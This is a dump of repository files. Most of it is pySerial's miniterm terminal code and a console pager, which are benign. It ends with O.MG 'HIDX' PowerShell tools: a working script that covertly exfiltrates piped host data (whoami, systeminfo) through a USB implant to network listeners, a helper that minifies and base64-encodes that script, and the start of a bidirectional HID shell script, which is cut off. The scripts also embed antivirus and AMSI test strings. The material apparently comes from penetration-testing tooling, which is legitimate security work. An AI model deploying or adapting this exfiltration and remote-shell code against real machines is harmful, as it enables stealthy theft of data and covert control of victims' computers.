self.serial.read(self.serial.in_waiting or 1)\n if data:\n if self.raw:\n self.console.write_bytes(data)\n else:\n text = self.rx_decoder.decode(data)\n for transformation in self.rx_transformations:\n text = transformation.rx(text)\n self.console.write(text)\n except serial.SerialException:\n self.alive = False\n self.console.cancel()\n raise # XXX handle instead of re-raise?\n\n def writer(self):\n \"\"\"\\\n Loop and copy console->serial until self.exit_character character is\n found. When self.menu_character is found, interpret the next key\n locally.\n \"\"\"\n menu_active = False\n try:\n while self.alive:\n try:\n c = self.console.getkey()\n except KeyboardInterrupt:\n c = '\\x03'\n if not self.alive:\n break\n if menu_active:\n self.handle_menu_key(c)\n menu_active = False\n elif c == self.menu_character:\n menu_active = True # next char will be for menu\n elif c == self.exit_character:\n self.stop() # exit app\n break\n else:\n #~ if self.raw:\n text = c\n for transformation in self.tx_transformations:\n text = transformation.tx(text)\n self.serial.write(self.tx_encoder.encode(text))\n if self.echo:\n echo_text = c\n for transformation in self.tx_transformations:\n echo_text = transformation.echo(echo_text)\n self.console.write(echo_text)\n except:\n self.alive = False\n raise\n\n def handle_menu_key(self, c):\n \"\"\"Implement a simple menu / settings\"\"\"\n if c == self.menu_character or c == self.exit_character:\n # Menu/exit character again -> send itself\n self.serial.write(self.tx_encoder.encode(c))\n if self.echo:\n self.console.write(c)\n elif c == '\\x15': # CTRL+U -> upload file\n self.upload_file()\n elif c in '\\x08hH?': # CTRL+H, h, H, ? -> Show help\n sys.stderr.write(self.get_help_text())\n elif c == '\\x12': # CTRL+R -> Toggle RTS\n self.serial.rts = not self.serial.rts\n sys.stderr.write('--- RTS {} ---\\n'.format('active' if self.serial.rts else 'inactive'))\n elif c == '\\x04': # CTRL+D -> Toggle DTR\n self.serial.dtr = not self.serial.dtr\n sys.stderr.write('--- DTR {} ---\\n'.format('active' if self.serial.dtr else 'inactive'))\n elif c == '\\x02': # CTRL+B -> toggle BREAK condition\n self.serial.break_condition = not self.serial.break_condition\n sys.stderr.write('--- BREAK {} ---\\n'.format('active' if self.serial.break_condition else 'inactive'))\n elif c == '\\x05': # CTRL+E -> toggle local echo\n self.echo = not self.echo\n sys.stderr.write('--- local echo {} ---\\n'.format('active' if self.echo else 'inactive'))\n elif c == '\\x06': # CTRL+F -> edit filters\n self.change_filter()\n elif c == '\\x0c': # CTRL+L -> EOL mode\n modes = list(EOL_TRANSFORMATIONS) # keys\n eol = modes.index(self.eol) + 1\n if eol >= len(modes):\n eol = 0\n self.eol = modes[eol]\n sys.stderr.write('--- EOL: {} ---\\n'.format(self.eol.upper()))\n self.update_transformations()\n elif c == '\\x01': # CTRL+A -> set encoding\n self.change_encoding()\n elif c == '\\x09': # CTRL+I -> info\n self.dump_port_settings()\n #~ elif c == '\\x01': # CTRL+A -> cycle escape mode\n #~ elif c == '\\x0c': # CTRL+L -> cycle linefeed mode\n elif c in 'pP': # P -> change port\n self.change_port()\n elif c in 'zZ': # S -> suspend / open port temporarily\n self.suspend_port()\n elif c in 'bB': # B -> change baudrate\n self.change_baudrate()\n elif c == '8': # 8 -> change to 8 bits\n self.serial.bytesize = serial.EIGHTBITS\n self.dump_port_settings()\n elif c == '7': # 7 -> change to 8 bits\n self.serial.bytesize = serial.SEVENBITS\n self.dump_port_settings()\n elif c in 'eE': # E -> change to even parity\n self.serial.parity = serial.PARITY_EVEN\n self.dump_port_settings()\n elif c in 'oO': # O -> change to odd parity\n self.serial.parity = serial.PARITY_ODD\n self.dump_port_settings()\n elif c in 'mM': # M -> change to mark parity\n self.serial.parity = serial.PARITY_MARK\n self.dump_port_settings()\n elif c in 'sS': # S -> change to space parity\n self.serial.parity = serial.PARITY_SPACE\n self.dump_port_settings()\n elif c in 'nN': # N -> change to no parity\n self.serial.parity = serial.PARITY_NONE\n self.dump_port_settings()\n elif c == '1': # 1 -> change to 1 stop bits\n self.serial.stopbits = serial.STOPBITS_ONE\n self.dump_port_settings()\n elif c == '2': # 2 -> change to 2 stop bits\n self.serial.stopbits = serial.STOPBITS_TWO\n self.dump_port_settings()\n elif c == '3': # 3 -> change to 1.5 stop bits\n self.serial.stopbits = serial.STOPBITS_ONE_POINT_FIVE\n self.dump_port_settings()\n elif c in 'xX': # X -> change software flow control\n self.serial.xonxoff = (c == 'X')\n self.dump_port_settings()\n elif c in 'rR': # R -> change hardware flow control\n self.serial.rtscts = (c == 'R')\n self.dump_port_settings()\n elif c in 'qQ':\n self.stop() # Q -> exit app\n else:\n sys.stderr.write('--- unknown menu character {} --\\n'.format(key_description(c)))\n\n def upload_file(self):\n \"\"\"Ask user for filename and send its contents\"\"\"\n sys.stderr.write('\\n--- File to upload: ')\n sys.stderr.flush()\n with self.console:\n filename = sys.stdin.readline().rstrip('\\r\\n')\n if filename:\n try:\n with open(filename, 'rb') as f:\n sys.stderr.write('--- Sending file {} ---\\n'.format(filename))\n while True:\n block = f.read(1024)\n if not block:\n break\n self.serial.write(block)\n # Wait for output buffer to drain.\n self.serial.flush()\n sys.stderr.write('.') # Progress indicator.\n sys.stderr.write('\\n--- File {} sent ---\\n'.format(filename))\n except IOError as e:\n sys.stderr.write('--- ERROR opening file {}: {} ---\\n'.format(filename, e))\n\n def change_filter(self):\n \"\"\"change the i/o transformations\"\"\"\n sys.stderr.write('\\n--- Available Filters:\\n')\n sys.stderr.write('\\n'.join(\n '--- {:<10} = {.__doc__}'.format(k, v)\n for k, v in sorted(TRANSFORMATIONS.items())))\n sys.stderr.write('\\n--- Enter new filter name(s) [{}]: '.format(' '.join(self.filters)))\n with self.console:\n new_filters = sys.stdin.readline().lower().split()\n if new_filters:\n for f in new_filters:\n if f not in TRANSFORMATIONS:\n sys.stderr.write('--- unknown filter: {!r}\\n'.format(f))\n break\n else:\n self.filters = new_filters\n self.update_transformations()\n sys.stderr.write('--- filters: {}\\n'.format(' '.join(self.filters)))\n\n def change_encoding(self):\n \"\"\"change encoding on the serial port\"\"\"\n sys.stderr.write('\\n--- Enter new encoding name [{}]: '.format(self.input_encoding))\n with self.console:\n new_encoding = sys.stdin.readline().strip()\n if new_encoding:\n try:\n codecs.lookup(new_encoding)\n except LookupError:\n sys.stderr.write('--- invalid encoding name: {}\\n'.format(new_encoding))\n else:\n self.set_rx_encoding(new_encoding)\n self.set_tx_encoding(new_encoding)\n sys.stderr.write('--- serial input encoding: {}\\n'.format(self.input_encoding))\n sys.stderr.write('--- serial output encoding: {}\\n'.format(self.output_encoding))\n\n def change_baudrate(self):\n \"\"\"change the baudrate\"\"\"\n sys.stderr.write('\\n--- Baudrate: ')\n sys.stderr.flush()\n with self.console:\n backup = self.serial.baudrate\n try:\n self.serial.baudrate = int(sys.stdin.readline().strip())\n except ValueError as e:\n sys.stderr.write('--- ERROR setting baudrate: {} ---\\n'.format(e))\n self.serial.baudrate = backup\n else:\n self.dump_port_settings()\n\n def change_port(self):\n \"\"\"Have a conversation with the user to change the serial port\"\"\"\n with self.console:\n try:\n port = ask_for_port()\n except KeyboardInterrupt:\n port = None\n if port and port != self.serial.port:\n # reader thread needs to be shut down\n self._stop_reader()\n # save settings\n settings = self.serial.getSettingsDict()\n try:\n new_serial = serial.serial_for_url(port, do_not_open=True)\n # restore settings and open\n new_serial.applySettingsDict(settings)\n new_serial.rts = self.serial.rts\n new_serial.dtr = self.serial.dtr\n new_serial.open()\n new_serial.break_condition = self.serial.break_condition\n except Exception as e:\n sys.stderr.write('--- ERROR opening new port: {} ---\\n'.format(e))\n new_serial.close()\n else:\n self.serial.close()\n self.serial = new_serial\n sys.stderr.write('--- Port changed to: {} ---\\n'.format(self.serial.port))\n # and restart the reader thread\n self._start_reader()\n\n def suspend_port(self):\n \"\"\"\\\n open port temporarily, allow reconnect, exit and port change to get\n out of the loop\n \"\"\"\n # reader thread needs to be shut down\n self._stop_reader()\n self.serial.close()\n sys.stderr.write('\\n--- Port closed: {} ---\\n'.format(self.serial.port))\n do_change_port = False\n while not self.serial.is_open:\n sys.stderr.write('--- Quit: {exit} | p: port change | any other key to reconnect ---\\n'.format(\n exit=key_description(self.exit_character)))\n k = self.console.getkey()\n if k == self.exit_character:\n self.stop() # exit app\n break\n elif k in 'pP':\n do_change_port = True\n break\n try:\n self.serial.open()\n except Exception as e:\n sys.stderr.write('--- ERROR opening port: {} ---\\n'.format(e))\n if do_change_port:\n self.change_port()\n else:\n # and restart the reader thread\n self._start_reader()\n sys.stderr.write('--- Port opened: {} ---\\n'.format(self.serial.port))\n\n def get_help_text(self):\n \"\"\"return the help text\"\"\"\n # help text, starts with blank line!\n return \"\"\"\n--- pySerial ({version}) - miniterm - help\n---\n--- {exit:8} Exit program (alias {menu} Q)\n--- {menu:8} Menu escape key, followed by:\n--- Menu keys:\n--- {menu:7} Send the menu character itself to remote\n--- {exit:7} Send the exit character itself to remote\n--- {info:7} Show info\n--- {upload:7} Upload file (prompt will be shown)\n--- {repr:7} encoding\n--- {filter:7} edit filters\n--- Toggles:\n--- {rts:7} RTS {dtr:7} DTR {brk:7} BREAK\n--- {echo:7} echo {eol:7} EOL\n---\n--- Port settings ({menu} followed by the following):\n--- p change port\n--- 7 8 set data bits\n--- N E O S M change parity (None, Even, Odd, Space, Mark)\n--- 1 2 3 set stop bits (1, 2, 1.5)\n--- b change baud rate\n--- x X disable/enable software flow control\n--- r R disable/enable hardware flow control\n\"\"\".format(version=getattr(serial, 'VERSION', 'unknown version'),\n exit=key_description(self.exit_character),\n menu=key_description(self.menu_character),\n rts=key_description('\\x12'),\n dtr=key_description('\\x04'),\n brk=key_description('\\x02'),\n echo=key_description('\\x05'),\n info=key_description('\\x09'),\n upload=key_description('\\x15'),\n repr=key_description('\\x01'),\n filter=key_description('\\x06'),\n eol=key_description('\\x0c'))\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# default args can be used to override when calling main() from an other script\n# e.g to create a miniterm-my-device.py\ndef main(default_port=None, default_baudrate=9600, default_rts=None, default_dtr=None, serial_instance=None):\n \"\"\"Command line tool, entry point\"\"\"\n\n import argparse\n\n parser = argparse.ArgumentParser(\n description='Miniterm - A simple terminal program for the serial port.')\n\n parser.add_argument(\n 'port',\n nargs='?',\n help='serial port name (\"-\" to show port list)',\n default=default_port)\n\n parser.add_argument(\n 'baudrate',\n nargs='?',\n type=int,\n help='set baud rate, default: %(default)s',\n default=default_baudrate)\n\n group = parser.add_argument_group('port settings')\n\n group.add_argument(\n '--parity',\n choices=['N', 'E', 'O', 'S', 'M'],\n type=lambda c: c.upper(),\n help='set parity, one of {N E O S M}, default: N',\n default='N')\n\n group.add_argument(\n '--rtscts',\n action='store_true',\n help='enable RTS/CTS flow control (default off)',\n default=False)\n\n group.add_argument(\n '--xonxoff',\n action='store_true',\n help='enable software flow control (default off)',\n default=False)\n\n group.add_argument(\n '--rts',\n type=int,\n help='set initial RTS line state (possible values: 0, 1)',\n default=default_rts)\n\n group.add_argument(\n '--dtr',\n type=int,\n help='set initial DTR line state (possible values: 0, 1)',\n default=default_dtr)\n\n group.add_argument(\n '--non-exclusive',\n dest='exclusive',\n action='store_false',\n help='disable locking for native ports',\n default=True)\n\n group.add_argument(\n '--ask',\n action='store_true',\n help='ask again for port when open fails',\n default=False)\n\n group = parser.add_argument_group('data handling')\n\n group.add_argument(\n '-e', '--echo',\n action='store_true',\n help='enable local echo (default off)',\n default=False)\n\n group.add_argument(\n '--encoding',\n dest='serial_port_encoding',\n metavar='CODEC',\n help='set the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)s',\n default='UTF-8')\n\n group.add_argument(\n '-f', '--filter',\n action='append',\n metavar='NAME',\n help='add text transformation',\n default=[])\n\n group.add_argument(\n '--eol',\n choices=['CR', 'LF', 'CRLF'],\n type=lambda c: c.upper(),\n help='end of line mode',\n default='CRLF')\n\n group.add_argument(\n '--raw',\n action='store_true',\n help='Do no apply any encodings/transformations',\n default=False)\n\n group = parser.add_argument_group('hotkeys')\n\n group.add_argument(\n '--exit-char',\n type=int,\n metavar='NUM',\n help='Unicode of special character that is used to exit the application, default: %(default)s',\n default=0x1d) # GS/CTRL+]\n\n group.add_argument(\n '--menu-char',\n type=int,\n metavar='NUM',\n help='Unicode code of special character that is used to control miniterm (menu), default: %(default)s',\n default=0x14) # Menu: CTRL+T\n\n group = parser.add_argument_group('diagnostics')\n\n group.add_argument(\n '-q', '--quiet',\n action='store_true',\n help='suppress non-error messages',\n default=False)\n\n group.add_argument(\n '--develop',\n action='store_true',\n help='show Python traceback on error',\n default=False)\n\n args = parser.parse_args()\n\n if args.menu_char == args.exit_char:\n parser.error('--exit-char can not be the same as --menu-char')\n\n if args.filter:\n if 'help' in args.filter:\n sys.stderr.write('Available filters:\\n')\n sys.stderr.write('\\n'.join(\n '{:<10} = {.__doc__}'.format(k, v)\n for k, v in sorted(TRANSFORMATIONS.items())))\n sys.stderr.write('\\n')\n sys.exit(1)\n filters = args.filter\n else:\n filters = ['default']\n\n while serial_instance is None:\n # no port given on command line -> ask user now\n if args.port is None or args.port == '-':\n try:\n args.port = ask_for_port()\n except KeyboardInterrupt:\n sys.stderr.write('\\n')\n parser.error('user aborted and port is not given')\n else:\n if not args.port:\n parser.error('port is not given')\n try:\n serial_instance = serial.serial_for_url(\n args.port,\n args.baudrate,\n parity=args.parity,\n rtscts=args.rtscts,\n xonxoff=args.xonxoff,\n do_not_open=True)\n\n if not hasattr(serial_instance, 'cancel_read'):\n # enable timeout for alive flag polling if cancel_read is not available\n serial_instance.timeout = 1\n\n if args.dtr is not None:\n if not args.quiet:\n sys.stderr.write('--- forcing DTR {}\\n'.format('active' if args.dtr else 'inactive'))\n serial_instance.dtr = args.dtr\n if args.rts is not None:\n if not args.quiet:\n sys.stderr.write('--- forcing RTS {}\\n'.format('active' if args.rts else 'inactive'))\n serial_instance.rts = args.rts\n\n if isinstance(serial_instance, serial.Serial):\n serial_instance.exclusive = args.exclusive\n\n serial_instance.open()\n except serial.SerialException as e:\n sys.stderr.write('could not open port {!r}: {}\\n'.format(args.port, e))\n if args.develop:\n raise\n if not args.ask:\n sys.exit(1)\n else:\n args.port = '-'\n else:\n break\n\n miniterm = Miniterm(\n serial_instance,\n echo=args.echo,\n eol=args.eol.lower(),\n filters=filters)\n miniterm.exit_character = unichr(args.exit_char)\n miniterm.menu_character = unichr(args.menu_char)\n miniterm.raw = args.raw\n miniterm.set_rx_encoding(args.serial_port_encoding)\n miniterm.set_tx_encoding(args.serial_port_encoding)\n\n if not args.quiet:\n sys.stderr.write('--- Miniterm on {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\\n'.format(\n p=miniterm.serial))\n sys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\\n'.format(\n key_description(miniterm.exit_character),\n key_description(miniterm.menu_character),\n key_description(miniterm.menu_character),\n key_description('\\x08')))\n\n miniterm.start()\n try:\n miniterm.join(True)\n except KeyboardInterrupt:\n pass\n if not args.quiet:\n sys.stderr.write('\\n--- exit ---\\n')\n miniterm.join()\n miniterm.close()\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nif __name__ == '__main__':\n main()\n"
},
{
"path": "scripts/pager.py",
"content": "#!/usr/bin/env python\n\"\"\"\nPage output and find dimensions of console.\n\nThis module deals with paging on Linux terminals and Windows consoles in\na cross-platform way. The major difference for paging here is line ends.\nNot line end characters, but the console behavior when the last character\non a line is printed. To get technical details, run this module without\nparameters::\n\n python pager.py\n\nAuthor: anatoly techtonik \nLicense: Public Domain (use MIT if the former doesn't work for you)\n\"\"\"\n\n__version__ = '3.3'\n\nimport os,sys\n\nWINDOWS = os.name == 'nt'\nPY3K = sys.version_info >= (3,)\n\n# Windows constants\n# http://msdn.microsoft.com/en-us/library/ms683231%28v=VS.85%29.aspx\n\nSTD_INPUT_HANDLE = -10\nSTD_OUTPUT_HANDLE = -11\nSTD_ERROR_HANDLE = -12\n\n\n# --- console/window operations ---\n\nif WINDOWS:\n # get console handle\n from ctypes import windll, Structure, byref\n try:\n from ctypes.wintypes import SHORT, WORD, DWORD\n # workaround for missing types in Python 2.5\n except ImportError:\n from ctypes import (\n c_short as SHORT, c_ushort as WORD, c_ulong as DWORD)\n console_handle = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n\n # CONSOLE_SCREEN_BUFFER_INFO Structure\n class COORD(Structure):\n _fields_ = [(\"X\", SHORT), (\"Y\", SHORT)]\n\n class SMALL_RECT(Structure):\n _fields_ = [(\"Left\", SHORT), (\"Top\", SHORT),\n (\"Right\", SHORT), (\"Bottom\", SHORT)]\n\n class CONSOLE_SCREEN_BUFFER_INFO(Structure):\n _fields_ = [(\"dwSize\", COORD),\n (\"dwCursorPosition\", COORD),\n (\"wAttributes\", WORD),\n (\"srWindow\", SMALL_RECT),\n (\"dwMaximumWindowSize\", DWORD)]\n\n\ndef _windows_get_window_size():\n \"\"\"Return (width, height) of available window area on Windows.\n (0, 0) if no console is allocated.\n \"\"\"\n sbi = CONSOLE_SCREEN_BUFFER_INFO()\n ret = windll.kernel32.GetConsoleScreenBufferInfo(console_handle, byref(sbi))\n if ret == 0:\n return (0, 0)\n return (sbi.srWindow.Right - sbi.srWindow.Left + 1,\n sbi.srWindow.Bottom - sbi.srWindow.Top + 1)\n\ndef _posix_get_window_size():\n \"\"\"Return (width, height) of console terminal on POSIX system.\n (0, 0) on IOError, i.e. when no console is allocated.\n \"\"\"\n # see README.txt for reference information\n # http://www.kernel.org/doc/man-pages/online/pages/man4/tty_ioctl.4.html\n\n from fcntl import ioctl\n from termios import TIOCGWINSZ\n from array import array\n \n winsize = array(\"H\", [0] * 4)\n try:\n ioctl(sys.stdout.fileno(), TIOCGWINSZ, winsize)\n except IOError:\n # for example IOError: [Errno 25] Inappropriate ioctl for device\n # when output is redirected\n # [ ] TODO: check fd with os.isatty\n pass\n return (winsize[1], winsize[0])\n\ndef getwidth():\n width = None\n if WINDOWS:\n return _windows_get_window_size()[0]\n elif os.name == 'posix':\n return _posix_get_window_size()[0]\n else:\n # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations\n pass\n\n return width or 80\n\ndef getheight():\n height = None\n if WINDOWS:\n return _windows_get_window_size()[1]\n elif os.name == 'posix':\n return _posix_get_window_size()[1]\n else:\n # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations\n pass\n\n return height or 25\n\nif WINDOWS:\n ENTER_ = '\\x0d'\n CTRL_C_ = '\\x03'\nelse:\n ENTER_ = '\\n'\n # [ ] check CTRL_C_ on Linux\n CTRL_C_ = None\nESC_ = '\\x1b'\n\n# other constants with getchars()\nif WINDOWS:\n LEFT = ['\\xe0', 'K']\n UP = ['\\xe0', 'H']\n RIGHT = ['\\xe0', 'M']\n DOWN = ['\\xe0', 'P']\nelse:\n LEFT = ['\\x1b', '[', 'D']\n UP = ['\\x1b', '[', 'A']\n RIGHT = ['\\x1b', '[', 'C']\n DOWN = ['\\x1b', '[', 'B']\nENTER = [ENTER_]\nESC = [ESC_]\n\ndef dumpkey(key):\n def hex3fy(key):\n \"\"\"Helper to convert string into hex string (Python 3 compatible)\"\"\"\n from binascii import hexlify\n # Python 3 strings are no longer binary, encode them for hexlify()\n if PY3K:\n key = key.encode('utf-8')\n keyhex = hexlify(key).upper()\n if PY3K:\n keyhex = keyhex.decode('utf-8')\n return keyhex\n if type(key) == str:\n return hex3fy(key)\n else:\n return ' '.join( [hex3fy(s) for s in key] )\n\n\nif WINDOWS:\n if PY3K:\n from msvcrt import kbhit, getwch as __getchw\n else:\n from msvcrt import kbhit, getch as __getchw\n\ndef _getch_windows(_getall=False):\n chars = [__getchw()] # wait for the keypress\n if _getall: # read everything, return list\n while kbhit():\n chars.append(__getchw())\n return chars\n else:\n return chars[0]\n\n\n# [ ] _getch_linux() or _getch_posix()? (test on FreeBSD and MacOS)\ndef _getch_unix(_getall=False):\n import sys, termios\n\n fd = sys.stdin.fileno()\n # save old terminal settings\n old_settings = termios.tcgetattr(fd)\n\n chars = []\n try:\n newattr = list(old_settings)\n newattr[3] &= ~termios.ICANON\n newattr[3] &= ~termios.ECHO\n newattr[6][termios.VMIN] = 1 # block until one char received\n newattr[6][termios.VTIME] = 0\n # TCSANOW below means apply settings immediately\n termios.tcsetattr(fd, termios.TCSANOW, newattr)\n\n # [ ] this fails when stdin is redirected, like\n # ls -la | pager.py\n # [ ] also check on Windows\n ch = sys.stdin.read(1)\n chars = [ch]\n\n if _getall:\n newattr = termios.tcgetattr(fd)\n newattr[6][termios.VMIN] = 0 # CC structure\n newattr[6][termios.VTIME] = 0\n termios.tcsetattr(fd, termios.TCSANOW, newattr)\n\n while True:\n ch = sys.stdin.read(1)\n if ch != '':\n chars.append(ch)\n else:\n break\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n\n if _getall:\n return chars\n else:\n return chars[0]\n\n\n# choose correct getch function at module import time\nif WINDOWS:\n getch = _getch_windows\nelse:\n getch = _getch_unix\n\ngetch.__doc__ = \\\n \"\"\"\n Wait for keypress, return first char generated as a result.\n\n Arrows and special keys generate sequence of chars. Use `getchars`\n function to receive all chars generated or present in buffer.\n \"\"\"\n\n # check that Ctrl-C and Ctrl-Break break this function\n #\n # Ctrl-C [n] Windows [y] Linux [ ] OSX\n # Ctrl-Break [y] Windows [n] Linux [ ] OSX\n\n\n# [ ] check if getchars returns chars already present in buffer\n# before the call to this function\ndef getchars():\n return getch(_getall=True)\n \n\ndef echo(msg):\n #https://groups.google.com/forum/#!topic/python-ideas/8vLtBO4rzBU\n sys.stdout.write(msg)\n sys.stdout.flush()\n\ndef prompt(pagenum):\n prompt = \"Page -%s-. Press any key to continue . . . \" % pagenum\n echo(prompt)\n if getch() in [ESC_, CTRL_C_, 'q', 'Q']:\n return False\n echo('\\r' + ' '*(len(prompt)-1) + '\\r')\n\ndef page(content, pagecallback=prompt):\n width = getwidth()\n height = getheight()\n pagenum = 1\n\n try:\n try:\n line = content.next().rstrip(\"\\r\\n\")\n except AttributeError:\n # Python 3 compatibility\n line = content.__next__().rstrip(\"\\r\\n\")\n except StopIteration:\n pagecallback(pagenum)\n return\n\n while True: # page cycle\n linesleft = height-1 # leave the last line for the prompt callback\n while linesleft:\n linelist = [line[i:i+width] for i in range(0, len(line), width)]\n if not linelist:\n linelist = ['']\n lines2print = min(len(linelist), linesleft)\n for i in range(lines2print):\n if WINDOWS and len(line) == width:\n # avoid extra blank line by skipping linefeed print\n echo(linelist[i])\n else:\n print(linelist[i])\n linesleft -= lines2print\n linelist = linelist[lines2print:]\n\n if linelist: # prepare symbols left on the line for the next iteration\n line = ''.join(linelist)\n continue\n else:\n try:\n try:\n line = content.next().rstrip(\"\\r\\n\")\n except AttributeError:\n # Python 3 compatibility\n line = content.__next__().rstrip(\"\\r\\n\")\n except StopIteration:\n pagecallback(pagenum)\n return\n if pagecallback(pagenum) == False:\n return\n pagenum += 1\n\n\n\n\n\n"
},
{
"path": "tools/HIDX/powershell/minify.ps1",
"content": "function Minify-Script {\n param(\n [Parameter(Mandatory=$true)]\n [string]$InputFilePath,\n [Parameter(Mandatory=$true)]\n [string]$OutputFilePath,\n [switch]$AsBase64\n )\n\n $content = Get-Content $InputFilePath -Raw\n\n # Remove multi-line comments\n $content = [regex]::Replace($content, '<#.*?#>', '', [System.Text.RegularExpressions.RegexOptions]::Singleline)\n\n # Remove single-line comments\n $content = [regex]::Replace($content, '#.*', '')\n\n # Remove unnecessary whitespaces\n $content = [regex]::Replace($content, '\\s+', ' ')\n\n if ($AsBase64) {\n $contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)\n $contentBase64 = [System.Convert]::ToBase64String($contentBytes)\n Set-Content -Path $OutputFilePath -Value $contentBase64\n }\n else {\n Set-Content -Path $OutputFilePath -Value $content\n }\n}\n\n# Example usage:\nMinify-Script -InputFilePath \"HIDXExfil.ps1\" -OutputFilePath \"HIDXExfil-minified.ps1\" -AsBase64\n\n"
},
{
"path": "tools/HIDX/powershell/win-hidexfil.ps1",
"content": "<#\nHIDXExfil.ps1\nAuthor: Ø1 (@01p8or13)\nAcknowledgements: spiceywasabi, rogandawes\nRequired Dependencies: Activated HIDX on OMG Elite device\n#>\n\nfunction HIDXExfil {\n<#\n.DESCRIPTION\nThis is a POC.\nA “low and slow” method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host’s network interfaces or mass storage.\nThis POC will allow data exfiltration back to the O.MG’s flash storage or act as a proxy between the target host and another device, \nvia the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools.\n\n.PARAMETER Message\nMessage which gets exfiltrated.\n\n.PARAMETER VendorID\nDefining vendor ID of the device. (Default: D3C0)\n\n.PARAMETER ProductID\nDefining product ID of the device. (Default: D34D)\n\n.EXAMPLE\nDefining a message: \nHIDXExfil -Message \"hello world\"\n\n.EXAMPLE\nHIDX usage with every parameter: \nHIDXExfil -VendorID D3C0 -ProductID D34D -Message \"test\"\n\n.EXAMPLE\nPiping output into HIDX: \nwhoami | HIDXExfil\n\n.EXAMPLE\nExfiltrating systeminfo with proper formatting:\nsysteminfo | Out-String | HIDXExfil\n\n.LINK\nhttps://github.com/0i41E\nhttps://github.com/spiceywasabi\nhttps://github.com/rogandawes\n\n#Credits to Rogan for the idea of filehandle and device identification\n#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\n\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n#>\n\n [cmdletbinding()]\n param(\n [Parameter(\n Mandatory = $true,\n ValueFromPipeline = $true)]\n $Message,\n\n [Parameter(Position = 1)]\n [ValidateNotNullOrEmpty()]\n [String]\n $VendorID = \"D3C0\", #Default value\n\n [Parameter(Position = 2)]\n [ValidateNotNullOrEmpty()]\n [String]\n $ProductID = \"D34D\" # Default value\n )\n\n $omg = $VendorID + \"&PID_\" + $ProductID\n function Get-OMGDevice(){\n #Identify OMG device\n $devs = gwmi Win32_USBControllerDevice\n $devicestring=$null\n foreach ($dev in $devs) {\n $wmidev = [wmi]$dev.Dependent\n if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {\n $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')\n }\n }\n\n return $devicestring\n }\n\n function Send-Message {\n param(\n $fileHandle,\n $payload\n )\n\n $payloadLength = $payload.Length\n $chunkSize = 8 # Kept at 8 for best experience\n $chunkNr = [Math]::Ceiling($payloadLength / $chunkSize)\n\n for ($i = 0; $i -lt $chunkNr; $i++) {\n $bytes = New-Object Byte[] (65)\n $start = $i * $chunksize\n $end = [Math]::Min(($i + 1) * $chunksize, $payloadLength)\n $chunkLen = $end - $start\n [System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen)\n $filehandle.Write($bytes, 0, 65)\n }\n }\n #Creating filehandle - Method by rogandawes\n Add-Type -TypeDefinition @\"\nusing System;\nusing System.IO;\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nnamespace omg {\n public class hidx {\n [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);\n\n public static FileStream open(string fn) {\n return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);\n }\n }\n}\n\"@\n try {\n $deviceString = Get-OMGDevice\n\n if ($deviceString -eq $null) {\n Write-Host -ForegroundColor Red \"[!]Error: Could not find OMG device - Check VID/PID\"\n return\n }\n\n $fileHandle = [omg.hidx]::open($deviceString)\n\n if ($fileHandle -eq $null) {\n Write-Host -ForegroundColor Red \"[!]Error: Filehandle is empty\"\n return\n }\n\n $payload = [System.Text.Encoding]::ASCII.GetBytes($Message + \"`n\")\n Send-Message -fileHandle $fileHandle -payload $payload\n\n } catch {\n Write-Host -ForegroundColor Red \"[!]Error: $($PSItem.Exception.Message)\"\n } finally {\n if ($fileHandle -ne $null) {\n $fileHandle.Close()\n }\n }\n}\n"
},
{
"path": "tools/HIDX/powershell/win-hidshell.ps1",
"content": "<#\nwin-hidshell.ps1\nAuthors: Ø1(@01p8or13), Wasabi (@spiceywasabi)\nAcknowledgements: rogandawes (@RoganDawes)\nRequired Dependencies: Activated HIDX on OMG Elite device\nRecommended Listener: stealthlink-client-universal.py\n#>\n\nfunction HIDXShell {\n<#\n.DESCRIPTION\nThis powershell script acts as a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device, which acts as a bridge between Listener and USB-Host.\n\n.PARAMETER VendorID\nDefining vendor ID of the device. (Default: D3C0)\n\n.PARAMETER ProductID\nDefining product ID of the device. (Default: D34D)\n\n.PARAMETER Verbose\nDisplay more information about received and executed commands\n\n.EXAMPLE\nHIDXShell usage with defined device: \nHIDXShell -VendorID D3C0 -ProductID D34D\n\n.LINK\nhttps://github.com/0i41E\nhttps://github.com/spiceywasabi\nhttps://github.com/rogandawes\nhttps://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-client-universal.py\nhttps://github.com/O-MG/O.MG-Firmware/wiki/HIDX-StealthLink---Windows-PowerShell---Shell\n\n#Credits to Rogan for idea of filehandle and device identification\n\n#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n#>\n\n [cmdletbinding()]\n param(\n 